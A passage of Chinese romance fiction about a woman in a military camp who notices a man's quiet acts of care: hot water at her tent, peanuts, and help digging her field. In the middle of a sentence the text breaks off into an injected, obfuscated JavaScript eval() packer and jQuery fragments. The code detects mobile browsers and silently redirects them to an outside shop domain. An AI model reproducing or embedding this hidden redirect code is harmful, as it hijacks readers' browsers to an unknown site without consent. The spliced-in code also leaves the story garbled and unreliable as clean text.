陈穗是什么时候注意到他有了这些新习惯的，她说不上来。好像是某一天推帐出去的时候门槛边多了一壶热水，壶嘴冒着白气，在初春的晨光里凝成一小团又散掉。她弯腰提起来的时候壶壁还是烫的，隔着粗麻布套烫得她换了一只手才拎住。她端着那壶水站了一会儿，往主帐的方向看了一眼，又低头看了看手里的水壶，然后弯腰把它放在帐门口地上没有带走。从那之后每天早上推帐出去，门槛边都有一壶热水。有时候是陶壶，有时候是皮囊，但永远是烫的、刚烧好的。
她不记得自己什么时候跟他说过早起口干这件事。她大概没说过。但他有一天早晨巡田路过她帐门口的时候看了一眼门槛边那壶水，发现水还是满的，就停下来问了一句：“你早上不喝热水？”陈穗说：“喝。”“那壶没动过。”她低头看了一眼水壶：“早上出来先巡田，回来再喝。”第二天那壶水的位置从门槛外面挪到了门槛里面——她回来掀帐的时候脚边就能碰到壶沿，弯腰就能端起来。她掀帐看到地上的水壶时站住了片刻，然后弯腰端起来喝了一口，温热的，刚刚好的温度。
从那天起她每天巡田之前先喝一口他放在门口的热水，然后拎着壶出门，边走边喝，走到地头的时候差不多喝完了，顺手放在田埂边上等收工带回去。
后来她又发现了一件事。主帐的矮几上多了一碟花生。她去送粮草记录的时候低头看到那碟花生就放在矮几右前方最顺手的位置。她没有动它，把记录放在旁边就走了。第二次去送记录的时候碟子还在，满的，像是新添过的。第三次去的时候她正好忙了大半天地还没吃饭，看到那碟花生就顺手拿了一颗，剥开吃了。吃完把壳放在碟子旁边，继续递记录本。她递完记录转身走到门口的时候，听到他开口说了一句：“那个花生——是给你放的。”她脚步停了，回头看了他一眼。他正低头翻她送来的记录，表情平平的，像什么都没说过一样。她站了片刻：“你怎么知道我吃花生？”他翻记录的笔顿了一下：“上次灰袍军医晒了一批，你路过的时候多看了两眼。”陈穗回想了一下——大概是一个月前，灰袍军医在药田旁边晒了半筐新收的花生，她经过的时候确实停了下来多看了几眼。她没想到他看见了。她站在门口想了片刻，然后说了一句：“那我以后拿的时候跟你说一声。”他低着头：“不用。”
从那以后她每次去主帐送记录都会顺手拿几颗花生，有时候边跟他说话边剥，有时候沉默着剥完了再开口。
第三个习惯是更晚一些才被她注意到的。有一天她去地头迟了大约半个时辰，因为早上多烧了一壶水洗了头。等她拎着铁锹赶到那块地的时候，发现南面那一排已经被人翻完了。土翻得又深又匀，每一锹都踩实了、敲碎了，垄沟笔直——是她画的那条线延伸的长度和方向，一眼就能认出来是谁干的。她站在那排已经翻完的地前面看了一会儿，然后转头看向正在翻隔壁那排的背影，没有走过去问他为什么帮忙。她只拎着自己的铁锹走到他旁边开始翻剩下的那排，弯腰下锹翻土的动作跟他的节奏一致。两人谁也没说话，并肩把剩下的地翻完了。
翻到一半她直起腰擦汗的时候才发现——他翻完那排之后并没有离开，而是直接开始翻她今天原本要翻的下一排。他给自己安排的工量是她计划的两倍，但翻完的那排工整度和速度都没落下。她站了一会儿，没有多说什么，弯腰继续翻自己手里的那排。太阳升到正中的时候两人同时翻完了各自的那排地，在田埂尽头碰面了。她拄着铁锹看着他：“早上那排是你翻的。”他“嗯”了一声。“以后不用帮我翻。”她把铁锹握直了站直身子，“我迟到了我自己会补。”他说：“我起得早，闲着也是闲着。”
后来他出营办了两天军务。那两天早上她推帐出去的时候门槛边没有水壶，空荡荡的青砖地面上只有昨晚残留的一层薄灰。她在门口站了片刻，弯腰摸了摸地面，然后自己去了厨房烧水。水烧开倒进碗里端出来的时候，她端着碗站在帐门口看着营门的方向，低头慢慢喝完了那碗自己烧的热水。第二天早上她起来的时候外面天还没全亮，她在帐里整理完毕掀帘出去准备去厨房烧水，一低头看见门槛边放着一只皮囊。她弯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920808|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
腰提起来——是烫的。她把皮囊端在手里转头朝营门方向看了一眼，远处有一匹黑马正在往营门里面走，马背上的人还没下马，但她看见他朝她这个方向看了一眼，然后勒转马头往主帐那边去了。
她把那壶热水端进帐里倒了一碗，端着碗坐在床沿上慢慢喝着。过了一会儿她听到外面有脚步声往这边来，走到帐门口停住了。她没有抬头：“你路上买的？”他说：“怕凉了，放在怀里焐着。”她端着碗又喝了一口：“以后不用每次都带。”他说：“习惯了。”这两个字落下来的时候她端着碗的手指微微攥紧了一下碗沿。她站起来走到帐门口，他正站在门槛外面，晨光从东面照过来把他肩上的灰土照得清清楚楚——他是赶了一夜的路回来的。她看着他肩上的灰土沉默了片刻：“你一夜没睡？”他说：“睡了。在马上睡的。”陈穗没有再说话，她把自己手里那碗还没喝完的热水递给他。他接过去喝了。她看着他把空碗递回来：“下次赶夜路的时候把水囊灌满再走。”他说：“知道。”
她端着那只空碗站在门口目送他往主帐走的背影，风吹过来把她手里的空碗吹得发凉了，她低头端着它站了一会儿然后转身进了帐，把碗放回桌上。碗沿上还残留着他嘴唇碰过的那一侧微微温热的水渍。她伸手碰了一下那处水渍，没有擦掉，放开了手。
那天晚上她坐在灯下写巡田记录的时候，在末尾加了一行字：“早上一壶热水。碟子里一碟花生。翻好的半排地。昨夜赶路回来，怀里焐着一壶水。”她写完这行字搁下了笔，低头看着纸面上的这几行字看了一会儿。然后她把麻布片叠好放进木匣里，吹了灯躺下去。黑暗里她听见外面传来弱水河的水声，和他主帐方向不知道哪盏还亮着的灯透过帐布的微微光亮，从帐帘缝隙里渗进来，在地面上铺了一小片柔和的淡黄色。
她看着那片光闭上了眼，想着明天早上门口大概又会有一壶热水。这个念头稳稳地待在脑子里，让她睡着之前的最后几秒钟是安稳的、暖融融的。她把手搭在枕边那只木匣上碰了一下，慢慢放平呼吸，一翻身就进入了睡眠。